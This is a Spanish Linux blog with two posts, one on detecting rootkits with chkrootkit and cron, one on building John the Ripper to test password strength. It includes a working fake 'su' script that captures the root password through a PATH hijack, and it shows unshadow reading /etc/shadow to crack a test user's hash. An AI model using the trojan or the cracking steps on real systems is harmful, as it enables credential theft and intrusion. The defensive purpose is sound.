Páginas

domingo, 2 de mayo de 2010

Buscar rootkits

Chkrootkit

rootkit es una herramienta, o un grupo de ellas que tiene como finalidad esconderse a sí misma y esconder otros programas, procesos, archivos, directorios, y puertos que permiten al intruso mantener el acceso a un sistema, para remotamente comandar acciones o extraer información sensible, a menudo con fines maliciosos o destructivos.

Buscar rootkits
Después de que un pirata informático no autorizado haya conseguido penetrar en una máquina, por una contraseña muy sencilla o por un fallo, con toda seguridad intentará instalar una puerta trasera o backdoor, con la finalidad de utilizar su máquina con dudosos propositos, llevarse o almacenar datos.

Acaparar los derechos de root no implica necesariamente teclear directamente en esta cuenta. Lo habitual es conectarse como usuario normal y pasar a root utilizando su. Un servicio ftp mal configurado puede hacer posible la conexión y desplegando a continuación un script llamado su, modifica el PATH por defecto poniendo así la ruta del script, lo demás será muy fácil.

gentoo ~$ pwd
/home/gentoo

gentoo ~$ vim su
#!/bin/bash
echo -e "Contraseña :\c"
read -s password
echo "$@ $password" > /home/gentoo/file
echo
echo "su: Password incorrecto."
/bin/su $@
## Fin del archivo####

gentoo ~$ chmod +x su
gentoo ~$ export PATH=$HOME
gentoo ~$ su - root
Contraseña: (falso su)
su: Password incorrecto. (falso su)
Contraseña: (su verdadero)

La contraseña de root esta en el fichero file1
gentoo ~$ cat file1
 rino4Zrcat

su solo pide la contraseña una vez, el engaño salta a la vista.

La herramienta chkrootkit es una sencilla herraminta que permite buscar la presencia de los más conocidos y habituales rootkits. Su eficacia depende de mantenerla actualizada y ejecutarla con regularidad.

xena@gentoo # chkrootkit
xena tmp # cat rootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not infected
Checking `chsh'... not infected
Checking `cron'... not infected
Checking `crontab'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not infected
Checking `grep'... not infected
Checking `hdparm'... not infected
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not found
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not infected
Checking `login'... not infected
Checking `ls'... not infected
Checking `lsof'... not infected
Checking `mail'... not found
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not found
Checking `passwd'... not infected
Checking `pidof'... not infected
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... not infected
Checking `pstree'... not infected
Checking `rpcinfo'... not infected
Checking `rlogind'... not found
Checking `rshd'... not found
Checking `slogin'... not infected
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not tested
Checking `tar'... not infected
Checking `tcpd'... not infected
Checking `tcpdump'... not infected
Checking `top'... not infected
Checking `telnetd'... not found
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not infected
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... nothing found
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for rootedoor... nothing found
Searching for ENYELKM rootkit default files... nothing found
Searching for common ssh-scanners default files... nothing found
Searching for suspect PHP files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: nothing detected
chkdirs: nothing detected
Checking `rexedcs'... not found
Checking `sniffer'... wlan0: PF_PACKET(/usr/sbin/wpa_supplicant)
Checking `w55808'... not infected
Checking `wted'... chkwtmp: nothing deleted
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... chklastlog: nothing deleted
Checking `chkutmp'...  The tty of the following user process(es) were not found
 in /var/run/utmp !
! RUID          PID TTY    CMD
! gentoo      15905 tty5   /usr/bin/X -nolisten tcp
chkutmp: nothing deleted

Automatizar utilizando cron.

Se ejutará cada día a las 3:00 am y enviará por emal el resultado.
Cree un fichero rootkit_cron en /etc/cron.d con la siguiente línea:

0  3  *  *  *    /usr/sbin/chkrootkit  |  mail  usuario@servidor -s "Resultado busqueda rootkit de fecha $(date)" 

Si prefiere enviarlo a un fichero:
0  3  *  *  *  /usr/sbin/chkrootkit  >  /tmp/rootkit

Alerta! en su distro la ruta a chkrootkit puede ser diferente.

Activar :
# crontab rootkit_cron

Listar las crontabs activas del usuario root:
# crontab -u root -l
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (rootkit_cron installed on Sun May  2 17:39:17 2010)
# (Cron version V5.0 -- $Id: crontab.c,v 1.12 2004/01/23 18:56:42 vixie Exp $)
0  3  *  *  *  /usr/sbin/chkrootkit > /tmp/rootkit

Linux es genial.

sábado, 1 de mayo de 2010

John the Ripper

John the Ripper es un programa que permite averiguar (comprobar la fortaleza) las contraseñas de los usuarios de diferentes sistemas.

Sin embargo, las últimas versiones de la mayoría de distribuciones GNU-Linux utilizan sha-512 como sistema de encriptación de claves. Cada vez que queremos conocer las contraseñas nos encontramos con el siguiente mensaje de error:

"No password hashes loaded".

Las pruebas están realizadas con Gentoo pero el método para compilar John the Ripper sirve para cualquier otra distribución GNU/Linux.

Descargar el programa y el parche de la página de openwall:

$ wget http://www.openwall.com/john/g/john-1.7.3.4.tar.gz
$ wget http://openwall.info/wiki/_media/john/john-1.7.3.1-generic-crypt-1.diff.gz




Descomprimir:
# tar xvzf john-1.7.3.4.tar.gz

Las rutas en mi caso se entenderán mejor con un ls:
john #
ls -l
total 812
drwx------ 5 root root 4096 sep 20 2009 john-1.7.3.4
-rw-r--r-- 1 root root 816259 sep 20 2009 john-1.7.3.4.tar.gz
drwxr-xr-x 2 root root 4096 sep 1 11:14 parche

Entrar al directorio del programa:
# cd john-1.7.3.4

Aplicar el parche:
# gzip -dc ../parche/john-1.7.3.1-generic-crypt-1.diff.gz | patch -p1
 patching file src/Makefile
 patching file src/crypt_fmt.c
 patching file src/john.c
 Hunk #2 succeeded at 67 (offset 2 lines).

El directorio donde se encuentra el código fuente para es src:



# cd src
# make

Con make obtendrá una lista de los sistemas soportados, luego:
# make linux-x86-64



Si el sistema no esta en la lista:

# make clean generic
 rm -f ../run/unshadow
 ln -s john ../run/unshadow
 rm -f ../run/unafs
 ln -s john ../run/unafs
 rm -f ../run/unique
 ln -s john ../run/unique
 
Pruebas de detección de correcto funcionamiento.
# cd ../run
# ./john --test

Benchmarking: Traditional DES [64/64 BS]... DONE
Many salts:    913784 c/s real, 913784 c/s virtual
Only one salt:    841378 c/s real, 842223 c/s virtual

Benchmarking: BSDI DES (x725) [64/64 BS]... DONE
Many salts:    26526 c/s real, 26553 c/s virtual
Only one salt:    26254 c/s real, 26306 c/s virtual

Benchmarking: FreeBSD MD5 [32/64 X2]... DONE
Raw:    8521 c/s real, 8521 c/s virtual

Benchmarking: OpenBSD Blowfish (x32) [32/64 X2]... DONE
Raw:    516 c/s real, 515 c/s virtual

Benchmarking: Kerberos AFS DES [48/64 4K]... DONE
Short:    284132 c/s real, 284132 c/s virtual
Long:    856828 c/s real, 855954 c/s virtual

Benchmarking: LM DES [64/64 BS]... DONE
Raw:    8264K c/s real, 8274K c/s virtual

Benchmarking: generic crypt(3) [?/64]... DONE
Many salts:    178329 c/s real, 178026 c/s virtual
Only one salt:    175640 c/s real, 175640 c/s virtual



Hay que combinar los arhivos /etc/passwd y /etc/shadow con el comando unshadow (como root):
# ./unshadow /etc/passwd /etc/shadow > /home/gentoo/passwords

John probará la fortaleza de la contraseña del usuario donna:

hypatia run # ./john -i -u=1001 /home/gentoo/passwords
Loaded 1 password hash (generic crypt(3) [?/64])
asdfgh           (donna)
guesses: 1  time: 0:00:00:19  c/s: 169  trying: asdfgh

El fichero john.pot contiene los resultados encontrados por john. El fichero no está vacío y esto significa que john ha encontrado la contraseña. El fichero john.rec contiene el estado actual de la búsqueda por si se produce una interrupción y es utilizado por el programa para reanudar la búsqueda.

En una máquina x86_64 Intel(R) Core(TM)2 Duo CPU T5750 @ 2.00GHz fue crackeada la contraseña de nuestro usuario de prueba, donna, en 0.19 segundos.

hypatia run # cat john.pot
$6$Y/SXCZE5$Syxi6qEVLjUecqF449kNy9PISVodOpi1BEwRwkIFn7WsrXTQML7kWLP37j3aDu5qJGoY4seTc0aegKf5fb/Xl1:asdfgh



# ls -l
total 1556
-rw------- 1 root root 341064 dic 16  2005 all.chr
-rw------- 1 root root 232158 dic 16  2005 alnum.chr
-rw------- 1 root root 131549 dic 16  2005 alpha.chr
-rw------- 1 root root  40391 dic 16  2005 digits.chr
-rwxr-xr-x 1 root root 211568 abr 28 13:40 john
-rw------- 1 root root  19988 sep  9  2009 john.conf
-rw------- 1 root root 324629 abr 30 15:14 john.log
-rw------- 1 root root    104 abr 28 13:56 john.pot
-rw------- 1 root root    156 abr 30 15:14 john.rec
-rw------- 1 root root 215982 dic 16  2005 lanman.chr
-rwx------ 1 root root    785 abr 10  2002 mailer
-rw------- 1 root root  22346 dic 16  2005 password.lst
lrwxrwxrwx 1 root root      4 abr 28 13:40 unafs -> john
lrwxrwxrwx 1 root root      4 abr 28 13:40 unique -> john
lrwxrwxrwx 1 root root      4 abr 28 13:40 unshadow -> john

Los módulos PAM influyen en la política de gestión de las contraseñas, obligando en algunos casos a elegir una más o menos compleja.
Las contraseñas se puden recordar por medios mnemotécnicos (La nemotecnia o mnemotecnia es el procedimiento de asociación de ideas, esquemas, ejercicios sistemáticos, repeticiones, etc. para facilitar el recuerdo de algo.  pwgen es un generador de contraseñas.

$ pwgen
uash6She lohJo7ae Ohphab3i ouRik9ie uM4va3im Neer7Eit eib3Hauy xo9Iuy5p
ahSiW0uf AhG6wail Yai6neeh phae4ioV deeL3aip Uz5ahzaa aiV5phee Aegaiy7x
ioPh1ahn Ong6Baib Eish4rip eik9Gie1 ien3Iepe xohduj7U aiP2keov So5ovaht
Voh9oxoe ahs2Meeg Ooch5xix Phe3yiuz eeCa5ohv aig9Ai3o Go4Ateeh Hee6thei
Rai6Daeh aid8ieNg Thah6ien daphaiG0 Iefai5oh Pheife6i Poora8ah Coh5Aida
ViC7ieth hohG5sei Aa9Jeilu eopoX8Si jooh3Eif dooPhai1 chohqu1G ieNgae3o
wiCeiSi3 aej6Piev eoTha1Fu ieR2yeeb Eireili6 saiGhie2 XohRoo1a cahb2Yah
Guungah0 ube3vo0D oshol3Op Pui6agh5 Ao7baeN1 foTek9Ei aeM3lala Ene2baol
geloV9ai Weeyu2ie Uvae2Vie dei0euL7 Xee9uaza ed8Eeghu eebiu2Ka zey0Liuh
be6Ailoi eiph8Ohb Yahpahr4 aij4dahG oQu2chae Fe5eeg9c Hoosh6oh Iip8eiwe
AuPie0um Ahxai9eo Dae5oquu Ie7Viek8 pa2aew8B fohham7A fah1Oogi ieH9vee8
saeC8sha Aejeey6i Eithoow1 yi9vei0L ohC7eegh IaTh4ohn ti6Fooxe Oiche7oh
Tah9uos7 Paej2Iec chuiD8ei aicoGh5l saiKeiw2 mae9mieY Ais9oanu Mah9xej3
Zi2nacai gaiM4thi sapa1Fah kie8oZo7 Po5uuho8 thae3Aim Ohjahgh9 Weike8ra
Cah4weiZ teoji0Oo vi0hei6O Zieha3ai Keip2bie bahR7bah ahSai0Ei afoh3Thi
eeNieTh8 Zei7eth8 uV5eichi kue1Eedi sueThe0V wohChe2u Ohl1zicu Loo1soo3
yahb9uSi EelieGh1 aeMiThi1 OoFoh8wu Ieyei5ka Roph7ape uem5quuK ahQu7eec
NahSha6A kooMou0y gu1chaiJ hae2ku0Z uC3oeNgo xuSha7qu Iucai0fu uK4icewe
eP7aetig ahYai0ee Eetahfu8 yeep0oPi Veimaij3 Oht0aiPh buTh9oob ood4nieC
sah7Ahj1 koozah0J Vieb9Bit eeP9nee1 ea1SohCe Afei4ohS eikahk0W rachoG4c

Puede pedir que se generen contraseñas totalmente aleatorias con una longitud dada. Por ejemplo 9 carácteres:

hypatia run # pwgen -s -1 9
HK8vef07r

Linux es genial!